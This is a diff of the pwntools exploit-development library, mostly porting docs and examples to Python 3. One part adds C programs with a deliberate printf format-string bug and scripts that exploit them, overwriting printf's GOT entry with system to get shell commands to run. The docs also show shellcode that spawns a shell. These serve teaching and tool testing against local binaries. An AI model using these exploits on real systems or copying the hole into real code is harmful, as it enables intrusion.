 #needs_sphinx = '1.0'
 
@@ -69,9 +70,9 @@ doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import pwnlib
+import pwnlib, logging
 pwnlib.context.context.reset_local()
-pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
+pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
 pwnlib.context.ContextType.defaults['randomize'] = False
 pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
@@ -87,6 +88,9 @@ class stdout(object):
     def __setattr__(self, name, value):
         return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
+
+github_actions = os.environ.get('USER') == 'runner'
+travis_ci = os.environ.get('USER') == 'travis'
 '''
 
 autoclass_content = 'both'
@@ -313,13 +317,13 @@ texinfo_documents = [
 branch = release
 
 try:
-    git_branch = subprocess.check_output('git describe --tags', shell = True)
+    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
 except subprocess.CalledProcessError:
     git_branch = '-'
 
 try:
     if '-' in git_branch:
-        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
+        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
 except subprocess.CalledProcessError:
     pass
 
@@ -347,11 +351,11 @@ def linkcode_resolve(domain, info):
     else:
         filename = info['module'].replace('.', '/') + '.py'
 
-        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
+        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
             try:
                 lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-%d' % (first, first + len(lines) - 1)
-            except IOError:
+                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
+            except (IOError, TypeError):
                 pass
 
     return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -374,46 +378,49 @@ if build_dash:
 
 # -- Customization to Sphinx autodoc generation --------------------------------------------
 import sphinx.ext.autodoc
-from sphinx.util.inspect import safe_getmembers, safe_getattr
 
 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
     return False
 
-# Test non-exported members
-class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
-    def get_object_members(self, want_all):
-        if want_all:
-            # if not hasattr(self.object, '__all__'):
-            #     for implicit module members, check __module__ to avoid
-            #     documenting imported objects
-                return True, safe_getmembers(self.object)
-            # else:
-            #     memberlist = self.object.__all__
-            #     # Sometimes __all__ is broken...
-            #     if not isinstance(memberlist, (list, tuple)) or not \
-            #        all(isinstance(entry, string_types) for entry in memberlist):
-            #         self.directive.warn(
-            #             '__all__ should be a list of strings, not %r '
-            #             '(in module %s) -- ignoring __all__' %
-            #             (memberlist, self.fullname))
-            #         # fall back to all members
-            #         return True, safe_getmembers(self.object)
-        else:
-            memberlist = self.options.members or []
-        ret = []
-        for mname in memberlist:
-            try:
-                ret.append((mname, safe_getattr(self.object, mname)))
-            except AttributeError:
-                self.directive.warn(
-                    'missing attribute mentioned in :members: or __all__: '
-                    'module %s, attribute %s' % (
-                        safe_getattr(self.object, '__name__', '???'), mname))
-        return False, ret
+class _DummyClass(object): pass
+
+class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
+    def check_output(self, want, got, optionflags):
+        sup = super(Py2OutputChecker, self).check_output
+        if sup(want, got, optionflags):
+            return True
+        try:
+            rly_want = pwnlib.util.safeeval.const(want)
+            if sup(repr(rly_want), got, optionflags):
+                return True
+            rly_got = pwnlib.util.safeeval.const(got)
+            if rly_want == rly_got:
+                return True
+        except ValueError:
+            pass
+        rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
+        if sup(rly_want, got, optionflags):
+            return True
+        rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
+        return sup(rly_want, got, optionflags)
+
+def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
+    if checker is None:
+        checker = Py2OutputChecker()
+    doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
+
+class EndlessLoop(Exception): pass
+def alrm_handler(sig, frame):
+    signal.alarm(180) # three minutes
+    raise EndlessLoop()
+signal.signal(signal.SIGALRM, alrm_handler)
+signal.alarm(600) # ten minutes
 
 if 'doctest' in sys.argv:
     def setup(app):
         app.connect('autodoc-skip-member', dont_skip_any_doctests)
 
-    sphinx.ext.autodoc.ModuleDocumenter = ModuleDocumenter
+    if sys.version_info[:1] < (3,):
+        import sphinx.ext.doctest
+        sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init

docs/source/context.rst

@@ -8,7 +8,7 @@
 :mod:`pwnlib.context` --- Setting runtime variables
 =====================================================
 
-Many settings in ``pwntools`` are controlled via the global variable :data:`.context, such as the selected target operating system, architecture, and bit-width.
+Many settings in ``pwntools`` are controlled via the global variable :data:`.context`, such as the selected target operating system, architecture, and bit-width.
 
 In general, exploits will start with something like:
 

docs/source/elf/corefile.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from glob import glob
    from pwn import *
 
 :mod:`pwnlib.elf.corefile` --- Core Files

docs/source/elf/elf.rst

@@ -2,6 +2,7 @@
 
    from pwn import *
    from glob import glob
+   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
 
 :mod:`pwnlib.elf.elf` --- ELF Files
 ===========================================================

docs/source/encoders.rst

@@ -5,21 +5,20 @@
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
-.. automodule:: pwnlib.encoders
-   :members:
-
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
-
-.. automodule:: pwnlib.encoders.amd64
-   :members:
-
-.. automodule:: pwnlib.encoders.arm
-   :members:
-
-.. automodule:: pwnlib.encoders.i386
-   :members:
-
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
+
+.. automodule:: pwnlib.encoders.i386.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.amd64.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.arm.xor
+   :members:
+
+.. automodule:: pwnlib.encoders.mips.xor
+   :members:

docs/source/filepointer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.filepointer import *
+
+:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
+============================================================
+
+.. automodule:: pwnlib.filepointer
+   :members:

docs/source/gdb.rst

@@ -1,6 +1,8 @@
 .. testsetup:: *
 
     from pwn import *
+    context.arch = 'amd64'
+    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
 
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================

docs/source/globals.rst

@@ -13,7 +13,7 @@ Which imports a bazillion things into the global namespace to make your life eas
 
 This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.
 
-- :obj:`.context`
+- :mod:`pwnlib.context`
     - :data:`pwnlib.context.context`
     - Responsible for most of the pwntools convenience settings
     - Set `context.log_level = 'debug'` when troubleshooting your exploit

docs/source/index.rst

@@ -54,6 +54,7 @@ Each of the ``pwntools`` modules is documented here.
    encoders
    elf
    exception
+   filepointer
    flag
    fmtstr
    gdb
@@ -61,6 +62,7 @@ Each of the ``pwntools`` modules is documented here.
    log
    memleak
    protocols
+   qemu
    replacements
    rop
    rop/*

docs/source/install.rst

@@ -25,9 +25,9 @@ pwntools is available as a ``pip`` package.
 .. code-block:: bash
 
     $ apt-get update
-    $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
-    $ pip install --upgrade pip
-    $ pip install --upgrade pwntools
+    $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
+    $ python3 -m pip install --upgrade pip
+    $ python3 -m pip install --upgrade pwntools
 
 Development
 --------------

docs/source/install/binutils.rst

@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^

docs/source/intro.rst

@@ -27,14 +27,14 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
 and all manner of things, along with some nifty helpers for common tasks.
 For example, remote connections via :mod:`pwnlib.tubes.remote`.
 
-    >>> conn = remote('ftp.debian.org',21)
+    >>> conn = remote('ftp.ubuntu.com',21)
     >>> conn.recvline() # doctest: +ELLIPSIS
-    '220 ...'
-    >>> conn.send('USER anonymous\r\n')
-    >>> conn.recvuntil(' ', drop=True)
-    '331'
+    b'220 ...'
+    >>> conn.send(b'USER anonymous\r\n')
+    >>> conn.recvuntil(b' ', drop=True)
+    b'331'
     >>> conn.recvline()
-    'Please specify the password.\r\n'
+    b'Please specify the password.\r\n'
     >>> conn.close()
 
 It's also easy to spin up a listener
@@ -42,20 +42,20 @@ It's also easy to spin up a listener
     >>> l = listen()
     >>> r = remote('localhost', l.lport)
     >>> c = l.wait_for_connection()
-    >>> r.send('hello')
+    >>> r.send(b'hello')
     >>> c.recv()
-    'hello'
+    b'hello'
 
 Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.
 
 ::
 
     >>> sh = process('/bin/sh')
-    >>> sh.sendline('sleep 3; echo hello world;')
+    >>> sh.sendline(b'sleep 3; echo hello world;')
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> sh.close()
 
 Not only can you interact with processes programmatically, but you can
@@ -74,14 +74,14 @@ a ``process`` tube.
 
     >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
     >>> shell['whoami']
-    'bandit0'
+    b'bandit0'
     >>> shell.download_file('/etc/motd')
     >>> sh = shell.run('sh')
-    >>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
+    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
     >>> sh.recvline(timeout=1)
-    ''
+    b''
     >>> sh.recvline(timeout=5)
-    'hello world\n'
+    b'hello world\n'
     >>> shell.close()
 
 Packing Integers
@@ -97,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
     >>> import struct
     >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
     True
-    >>> leet = '37130000'.decode('hex')
-    >>> u32('abcd') == struct.unpack('I', 'abcd')[0]
+    >>> leet = unhex('37130000')
+    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
     True
 
 The packing/unpacking operations are defined for many common bit-widths.
 
-    >>> u8('A') == 0x41
+    >>> u8(b'A') == 0x41
     True
 
 Setting the Target Architecture and OS
@@ -112,9 +112,9 @@ Setting the Target Architecture and OS
 The target architecture can generally be specified as an argument to the routine that requires it.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> asm('nop', arch='arm')
-    '\x00\xf0 \xe3'
+    b'\x00\xf0 \xe3'
 
 However, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.
 
@@ -126,10 +126,10 @@ However, it can also be set once in the global ``context``.  The operating syste
 Additionally, you can use a shorthand to set all of the values at once.
 
     >>> asm('nop')
-    '\x90'
+    b'\x90'
     >>> context(arch='arm', os='linux', endian='big', word_size=32)
     >>> asm('nop')
-    '\xe3 \xf0\x00'
+    b'\xe3 \xf0\x00'
 
 .. doctest::
    :hide:
@@ -158,12 +158,12 @@ Assembly and Disassembly
 Never again will you need to run some already-assembled pile of shellcode
 from the internet!  The :mod:`pwnlib.asm` module is full of awesome.
 
-    >>> asm('mov eax, 0').encode('hex')
+    >>> enhex(asm('mov eax, 0'))
     'b800000000'
 
 But if you do, it's easy to suss out!
 
-    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
+    >>> print(disasm(unhex('6a0258cd80ebf9')))
        0:   6a 02                   push   0x2
        2:   58                      pop    eax
        3:   cd 80                   int    0x80
@@ -176,7 +176,7 @@ loaded with useful time-saving shellcodes.
 Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
 file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
 
-    >>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
+    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
     '6a3158cd80...'
 
 
@@ -188,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print cyclic(20)
+    >>> print(cyclic(20).decode())
     aaaabaaacaaadaaaeaaa
-    >>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
-    >>> print cyclic_find('faab')
+    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
+    >>> print(cyclic_find(b'faab'))
     120
 
 ELF Manipulation
@@ -200,22 +200,22 @@ ELF Manipulation
 Stop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.
 
     >>> e = ELF('/bin/cat')
-    >>> print hex(e.address) #doctest: +SKIP
+    >>> print(hex(e.address)) #doctest: +SKIP
     0x400000
-    >>> print hex(e.symbols['write']) #doctest: +SKIP
+    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
     0x401680
-    >>> print hex(e.got['write']) #doctest: +SKIP
+    >>> print(hex(e.got['write'])) #doctest: +SKIP
     0x60b070
-    >>> print hex(e.plt['write']) #doctest: +SKIP
+    >>> print(hex(e.plt['write'])) #doctest: +SKIP
     0x401680
 
 You can even patch and save the files.
 
     >>> e = ELF('/bin/cat')
     >>> e.read(e.address, 4)
-    '\x7fELF'
+    b'\x7fELF'
     >>> e.asm(e.address, 'ret')
     >>> e.save('/tmp/quiet-cat')
-    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
     '   0:   c3                      ret'
 

docs/source/protocols/adb.rst

@@ -2,6 +2,7 @@
 
    from pwn import *
    from pwnlib.protocols.adb import AdbClient
+   AdbClient().wait_for_device()
 
 :mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
 ===========================================================

docs/source/qemu.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+
+
+:mod:`pwnlib.qemu` --- QEMU Utilities
+==========================================
+
+.. automodule:: pwnlib.qemu
+   :members:

docs/source/rop/ret2dlresolve.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   import tempfile
+
+:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
+========================================================
+
+.. automodule:: pwnlib.rop.ret2dlresolve
+   :members:

docs/source/term.rst

@@ -3,3 +3,9 @@
 
 .. automodule:: pwnlib.term
    :members:
+
+Term Modules
+-------------------
+
+.. toctree::
+    term/readline

docs/source/term/readline.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwnlib.term.readline import *
+   import io
+
+:mod:`pwnlib.term.readline` --- Terminal nice readline
+======================================================
+
+.. automodule:: pwnlib.term.readline
+   :members:

docs/source/tubes/buffer.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.tubes.buffer import *
+
+:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
+==============================================================
+
+.. automodule:: pwnlib.tubes.buffer
+   :members:

docs/source/tubes/sockets.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwn import *
+   from pwnlib.tubes.server import server
 
 :mod:`pwnlib.tubes.sock` --- Sockets
 ===========================================================
@@ -23,3 +24,9 @@
    .. autoclass:: pwnlib.tubes.listen.listen
       :members:
       :show-inheritance:
+
+.. automodule:: pwnlib.tubes.server
+
+   .. autoclass:: pwnlib.tubes.server.server
+      :members:
+      :show-inheritance:

docs/source/ui.rst

@@ -1,3 +1,8 @@
+.. testsetup:: *
+
+   from pwn import *
+   import io
+
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

docs/source/util/cyclic.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pwn import *
    from pwnlib.util.cyclic import *
 
 

docs/source/util/getdents.rst

@@ -0,0 +1,11 @@
+.. testsetup:: *
+
+   from pwnlib.util.getdents import *
+   from pwnlib.util.fiddling import unhex
+
+
+:mod:`pwnlib.util.getdents` --- Linux binary directory listing
+==============================================================
+
+.. automodule:: pwnlib.util.getdents
+   :members:

docs/source/util/misc.rst

@@ -1,5 +1,6 @@
 .. testsetup:: *
 
+   from pprint import pprint
    from pwnlib.util.misc import *
    import os, subprocess
    os.chdir("..")

docs/source/util/proc.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwnlib.util.proc import *
+   from pwnlib.tubes.process import process
    import os, sys
 
 

examples/README.md

@@ -26,6 +26,10 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
+* `attach.py`
+```
+Example showing `pwnlib.gdb.attach()`
+```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -65,8 +69,7 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 ```
 * `readline_completers.py`
 ```
@@ -74,6 +77,10 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
+* `remote.py`
+```
+Example showing how to use the remote class.
+```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -103,7 +110,7 @@ and::
 
   $ TERM=xterm-256color python text.py
 ```
-* `remote.py`
+* `yesno.py`
 ```
-Example showing how to use the remote class.
+Example showing `pwnlib.ui.yesno()`
 ```

examples/android.py

@@ -1,22 +1,25 @@
-from pwn import *
+from __future__ import print_function
+
+import gdb
+from pwn import adb, context
 
 # Tell pwntools that the target is an Android device
-context.os='android'
-context.arch='aarch64' # or 'arm'
+context.os = "android"
+context.arch = "aarch64"  # or 'arm'
 
 # Optionally, set the remote ADB server address
-context.adb_host='172.16.110.1'
+context.adb_host = "172.16.110.1"
 
 # Wait for a device to become available
-print adb.wait_for_device()
+print(adb.wait_for_device())
 
 # Who am I?
-print adb.process('id').recvall().strip()
+print(adb.process("id").recvall().strip())
 
 # Interactive sessions!
 io = adb.shell()
-io.sendline('echo Hello, world; exit')
-print io.recvall().replace('\r\n', '\n').strip()
+io.sendline("echo Hello, world; exit")
+print(io.recvall().replace("\r\n", "\n").strip())
 
 # Debugging!
-gdb.debug('sh').interactive()
+gdb.debug("sh").interactive()

examples/args.py

@@ -14,5 +14,5 @@ Try running this example with::
 
 from pwn import *
 
-print args['RHOST'] or 'RHOST is not set'
-print args['RPORT'] or 'RPORT is not set'
+print(args['RHOST'] or 'RHOST is not set')
+print(args['RPORT'] or 'RPORT is not set')

examples/asm.py

@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)
 
-print enhex(shellcode_asm)
-print disasm(shellcode_asm)
+print(enhex(shellcode_asm))
+print(disasm(shellcode_asm))

examples/attach.py

@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *
 
 bash = process('/bin/bash')
-gdb.attach(bash, execute = '''
+gdb.attach(bash, gdbscript = '''
 p "hello from pwnlib"
 c
 ''')

examples/clean_and_log.py

@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
 
 while True:
     line = r.recvline()
-    print re.findall('^prefix (\S+)$', line)[0]
+    print(re.findall(r'^prefix (\S+)$', line)[0])

examples/fmtstr/Makefile

@@ -0,0 +1,53 @@
+CFLAGS := -Wno-unused-result -Wno-format-security
+TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
+	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
+	         printf-loop.native printf-loop.native32
+
+.PHONY: run
+run: all
+	./exploit2.py
+	./exploit.py
+
+.PHONY: all
+all: $(TARGETS)
+
+.PHONY: clean
+clean:
+	rm -f $(TARGETS)
+
+# mips variants
+%.mips: %.c
+	mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mipsel: %.c
+	mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mips64: %.c
+	mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.mips64el: %.c
+	mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# arm variants
+%.arm: %.c
+	arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.aarch64: %.c
+	aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# ppc variants
+%.ppc: %.c
+	powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+%.ppc64: %.c
+	powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# sparc variants
+%.sparc64: %.c
+	sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
+
+# native variants
+%.native: %.c
+	gcc $(CFLAGS) -o "$@" $^
+%.native32: %.c
+	gcc $(CFLAGS) -m32 -o "$@" $^
+
+# install deps on ubuntu xenial
+.PHONY: install-apt
+install-apt:
+	apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc

examples/fmtstr/exploit.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+from pwn import *
+
+@context.quiet
+def exec_fmt(payload):
+    p = context.binary.process()
+    p.sendline(payload)
+    return p.recvall()
+
+def exploit(binary):
+    context.binary = ELF(binary)
+    autofmt = FmtStr(exec_fmt)
+    offset = autofmt.offset
+    with context.binary.process() as p:
+        addr = unpack(p.recv(context.bytes))
+        payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
+        p.sendline(payload)
+        p.recvuntil(b"DONE")
+        print(hex(u32(p.recv(4))))
+
+binaries = [
+    "printf.mips",
+    "printf.mips64",
+    "printf.mipsel",
+    "printf.mips64el",
+    "printf.native",
+    "printf.native32",
+    "printf.ppc",
+    "printf.ppc64",
+    "printf.sparc64",
+    "printf.arm",
+    "printf.aarch64",
+]
+
+if len(sys.argv) > 1:
+    binaries = sys.argv[1:]
+
+for binary in binaries:
+    exploit(binary)

examples/fmtstr/exploit2.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+An example combining fmtstr and dynelf to automatically exploit a PIE binary.
+"""
+
+from pwn import *
+
+def exploit(e):
+    p = e.process()
+
+    def executer(fmt):
+        p.sendline(fmt)
+        p.stdin.flush()
+        r = p.recvuntil(b'again=\n')
+        return r
+    f = FmtStr(executer)
+
+    # find some code pointer on stack
+    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
+    min_code_ptr = 0x10 << addrbits-8
+    max_code_ptr = 0x7e << addrbits-8
+    for off in range(64):
+        random_code_ptr = f.leak_stack(off)
+        packed = bytearray(pack(random_code_ptr))
+        chars = set(packed) - {0}
+        # simple heuristic
+        if (min_code_ptr < random_code_ptr < max_code_ptr
+            and max(chars) > 0x80 and min(chars) < 0x80
+            and not hex(random_code_ptr).startswith('0x7ff')):
+            break
+
+    log.info("Code ptr: %#x"%random_code_ptr)
+
+    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
+
+    print("Stack: %#x" % (online_elf.stack(),))
+    print("Heap: %#x" % (online_elf.heap(),))
+
+    info("Finding base address of the executable")
+    for ref in e.sym:
+        if not ref:
+            continue
+        # if we have the address of a symbol on remote, we know the offset
+        ref_addr = online_elf.lookup(ref)
+        if ref_addr:
+            print("%s: %r" % (ref, ref_addr))
+            break
+
+    system = online_elf.lookup('system', 'libc')
+    print("system: %#x" % system)
+
+    # fix up the address
+    e.address += ref_addr - e.sym[ref]
+
+    # actual exploit: overwrite printf with system
+    f.write(e.sym.got.printf, system)
+    f.execute_writes()
+
+    p.sendline(b'echo ::$(( 16 * 16 ))')
+    p.recvuntil(b'::')
+    line = p.recvline()
+    assert line == b'256\n'
+    p.sendline(b'exit')
+    p.close()
+
+
+for context.binary in 'printf-loop.native32', 'printf-loop.native':
+    exploit(context.binary)

examples/fmtstr/printf-loop.c

@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+  while (1) {
+    char str[256];
+    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
+    str[n] = '\0';
+    printf(str);
+    printf("\n=try again=\n");
+    fflush(stdout);
+  }
+  return 0;
+}

examples/fmtstr/printf.c

@@ -0,0 +1,29 @@
+#ifdef _FORTIFY_SOURCE
+#undef _FORTIFY_SOURCE
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#define MEMORY_ADDRESS ((void*)0x11110000)
+#define MEMORY_SIZE 1024
+#define TARGET ((int *) 0x11110100)
+int main(int argc, char const *argv[])
+{
+       char buff[1024];
+       void *ptr = NULL;
+       int *my_var = TARGET;
+       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
+       if(ptr != MEMORY_ADDRESS)
+       {
+               perror("mmap");
+               return EXIT_FAILURE;
+       }
+       *my_var = 0x41414141;
+       write(1, &my_var, sizeof(int *));
+       scanf("%s", buff);
+       dprintf(2, buff);
+       write(1, "DONE", 4);
+       write(1, my_var, sizeof(int));
+       return 0;
+}

examples/gen-README.py

@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
             continue
         path = os.path.join(top, name)[2:] # strip './'
         log.info('-> %s' % path)
-        data = read(path).strip()
+        data = read(path).strip().decode()
         if data[0:3] not in ('"""', "'''"):
             log.warning('  Has no docstring!')
             continue
@@ -37,6 +37,7 @@ def append_example(_arg, top, names):
         out += '* `%s`\n' % path
         out += '```%s```\n' % doc
 
-os.path.walk('.', append_example, None)
+for path, dirs, files in os.walk('.', onerror=None):
+    append_example(dirs, path, sorted(files))
 
 write('README.md', out)

examples/options.py

@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
 from pwn import *
 
 opts = [string.letters[x] for x in range(10)]
-print 'You choose "%s"' % opts[options('Pick one:', opts)]
+print('You choose "%s"' % opts[options('Pick one:', opts)])

examples/port_forward.py

@@ -1,11 +1,10 @@
 """
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
-that `<>` is just a shorthand.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
 """
 
 from pwn import *
 
 while True:
-    listen(1337).wait_for_connection() <> remote('google.com', 80)
+    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
 
 # now point your browser (or curl(1)) to http://localhost:1337

examples/readline_completers.py

@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
 c2 = PathCompleter(mask = '*.py')
 
 with c1:
-    print 'type "exit" to exit'
+    print('type "exit" to exit')
     while True:
-        s = term.readline.readline(prompt = '> ').strip()
+        s = str_input(prompt = '> ').strip()
         if s in ('exit', 'enough!'):
             break
-        print 'You wrote', s
+        print('You wrote', s)
 with c2:
-    print 'choose a file'
-    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
-    print 'You picked', s
+    print('choose a file')
+    s = str_input(prompt = text.bold_green('$ ')).strip()
+    print('You picked', s)

examples/remote.py

@@ -6,6 +6,6 @@ from pwn import *
 
 sock = remote('127.0.0.1', 9001)
 
-print sock.recvline()
+print(sock.recvline())
 sock.send('foo')
 sock.interactive()

examples/remote_gdb_debugging.py

@@ -8,10 +8,10 @@ import getpass
 from pwn import *
 
 s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
-c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
+c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
 p/x $pc
 c''')
 
 c.sendline('ls -la')
 c.sendline('exit')
-print c.recvall()
+print(c.recvall())

examples/sigreturn_corefile_aarch64.py

@@ -3,11 +3,12 @@ context.arch='aarch64'
 frame = SigreturnFrame()
 
 registers = ['x%i' % i for i in range(0, 31)]
-registers += ['sp', 'pc']
+registers += ['pc']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/sigreturn_corefile_arm.py

@@ -4,11 +4,12 @@ context.arch='arm'
 frame = SigreturnFrame()
 
 registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
